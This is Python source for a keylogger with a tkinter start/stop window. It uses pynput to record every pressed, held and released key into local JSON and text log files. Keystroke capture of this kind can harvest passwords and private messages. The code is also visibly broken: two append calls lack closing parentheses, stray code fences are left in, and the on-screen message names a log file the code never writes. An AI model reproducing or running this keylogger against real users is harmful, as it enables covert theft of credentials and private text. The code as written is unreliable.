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import tkinter as tk
from tkinter import *
from pynput import keyboard
import json
keys_used = []
flag = False
keys = ""
def generate_text_log(key):
  with open('key_log.txt', "w+") as keys:
     keys.write(key)
def generate_json_file(keys_used):
  with open('key_log.json', '+wb') as key_log:
     key_list_bytes = json.dumps(keys_used).encode()
     key_log.write(key_list_bytes)
def on_press(key):
  global flag, keys_used, keys
  if flag == False:
     keys_used.append(
       {'Pressed': f'{key}'}
     flag = True
  if flag == True:
     keys_used.append(
       {'Held': f'{key}'}
  generate_json_file(keys_used)
def on_release(key):
  global flag, keys_used, keys
  keys_used.append(
     {'Released': f'{key}'}
  )
  if flag == True:
     flag = False
  generate_json_file(keys_used)
```

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keys = keys + str(key)
  generate_text_log(str(keys))
def start_keylogger():
  global listener
  listener = keyboard.Listener(on_press=on_press, on_release=on_release)
  listener.start()
  label.config(text="[+] Keylogger is running!\n[!] Saving the keys in 'keylogger.txt'")
  start_button.config(state='disabled')
  stop_button.config(state='normal')
def stop_keylogger():
  global listener
  listener.stop()
  label.config(text="Keylogger stopped.")
  start_button.config(state='normal')
  stop_button.config(state='disabled')
root = Tk()
root.title("Keylogger")
label = Label(root, text='Click "Start" to begin keylogging.')
label.config(anchor=CENTER)
label.pack()
start_button = Button(root, text="Start", command=start_keylogger)
start_button.pack(side=LEFT)
stop_button = Button(root, text="Stop", command=stop_keylogger, state='disabled')
stop_button.pack(side=RIGHT)
root.geometry("250x250")
root.mainloop()
```